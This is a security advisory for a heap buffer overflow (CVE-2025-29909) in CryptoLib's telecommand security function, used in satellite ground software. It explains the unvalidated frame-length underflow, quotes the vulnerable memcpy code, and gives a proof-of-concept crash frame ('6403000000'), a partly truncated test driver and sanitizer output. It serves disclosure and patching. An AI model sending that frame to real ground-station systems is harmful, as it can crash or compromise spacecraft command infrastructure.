Heap Buffer Overflow in CryptoLib's Crypto_TC_ApplySecurity()

High **jlucas9** published **GHSA-q2pc-c3jx-3852** 5 days ago

Package	Affected versions	Patched versions
No package listed	<= 1.3.3	None

Severity

High

CVE ID

CVE-2025-29909

Weaknesses

CWE-191 CWE-787

Credits

mirkobitetto Finder

juriSacchetta Coordinator

danmaam Coordinator

Description

Summary

A **heap buffer overflow** vulnerability in CryptoLib's **Crypto_TC_ApplySecurity()** allows an attacker to craft a malicious TC frame that causes **out-of-bounds memory writes**. This can result in **denial of service** (DoS) or, under certain conditions, **remote code execution** (RCE).

Details

The vulnerability resides in the `Crypto_TC_ApplySecurity_Cam` (and similarly in `Crypto_TC_ApplySecurity`) function within `crypto_tc.c` , which calculates the TC frame payload length (`tf_payload_len`) based on a user-supplied field (`fl` – the frame length). Because the library does not validate the `fl` field:

1. **Underflow or Overflow in Length Calculation:**

```
tf_payload_len = temp_tc_header.fl - TC_FRAME_HEADER_SIZE
                                   - segment_hdr_len
                                   - fecf_len
                                   + 1;
```

   If `fl` is set to **0** or an extremely small integer, the resulting `tf_payload_len` can become a large value (e.g., 65529).

2. **Memory Copy Based on Incorrect Length:**

```
memcpy((p_new_enc_frame + index),
       (p_in_frame + TC_FRAME_HEADER_SIZE + segment_hdr_len),
        tf_payload_len);
```

The subsequent `memcpy` copies far more bytes than the source buffer actually contains, leading to an out-of-bounds write. This behavior corrupts the heap, triggering a crash or potentially allowing code execution.

Source Code Reference
The critical under-validated code resides in **`crypto_tc.c`**:

```
// Calculate tf_payload length (in Crypto_TC_ApplySecurity_Cam)
tf_payload_len = temp_tc_header.fl - TC_FRAME_HEADER_SIZE
                               - segment_hdr_len
                               - fecf_len
                               + 1;

memcpy((p_new_enc_frame + index),
       (p_in_frame + TC_FRAME_HEADER_SIZE + segment_hdr_len),
       tf_payload_len);
```

PoC

1. **Minimal Input Triggering the Vulnerability**
   A hex-encoded Telecommand frame such as:

   ```
   6403000000
   ```

   When processed, `fl` is interpreted as **0**, causing `tf_payload_len` to underflow into a large number. This leads to a heap overflow in `memcpy`.

2. **Reproduction Steps**

   i. Compile CryptoLib with AddressSanitizer (ASan) enabled.

   ii. Run the following snippet (or an equivalent test driver):

   ```
   char* test_frame_pt_h = "6403000000"; // fl = 0
   uint8_t* test_frame_pt_b = NULL;
   int test_frame_pt_len = 0;

   // Convert hex to bytes
   hex_conversion(test_frame_pt_h, (char**)&test_frame_pt_b, &tes

   // Call the vulnerable function
   status = Crypto_TC_ApplySecurity(test_frame_pt_b, test_frame_

   // Observe ASan error for heap-buffer-overflow
   ```

iii. **Observe ASan Logs**
A typical output might look like this, indicating an out-of-bounds write:

```
READ of size 65529 at 0x502000016f3b thread T0
#0 0x7e31a8cfb12b in memcpy
#1 0x7e31a936e494 in Crypto_TC_ApplySecurity_Cam
#2 0x7e31a936c754 in Crypto_TC_ApplySecurity
...
SUMMARY: AddressSanitizer: heap-buffer-overflow
...
```

Note the `READ of size 65529` confirms the huge length triggered by `fl = 0`.

Impact

- **Denial of Service (DoS):** A malicious frame can lead to a process crash by corrupting heap memory.
- **Potential Remote Code Execution (RCE):** In systems lacking robust heap protection, an attacker could leverage this overflow to hijack program execution.
- **Likelihood:** High if CryptoLib processes untrusted TC frames (e.g., ground station, testing environment, or network-exposed services).

Who is Impacted?
Any application or system that relies on CryptoLib for Telecommand (TC) processing and does not strictly validate incoming TC frames is at risk. This includes satellite ground stations or mission control software where attackers can inject malformed frames.

Recommended Action:
Implement **strict bounds-checking** on the `fl` (frame length) field. Ensure `tf_payload_len` never becomes negative or exceeds the actual size of the input buffer before performing `memcpy`.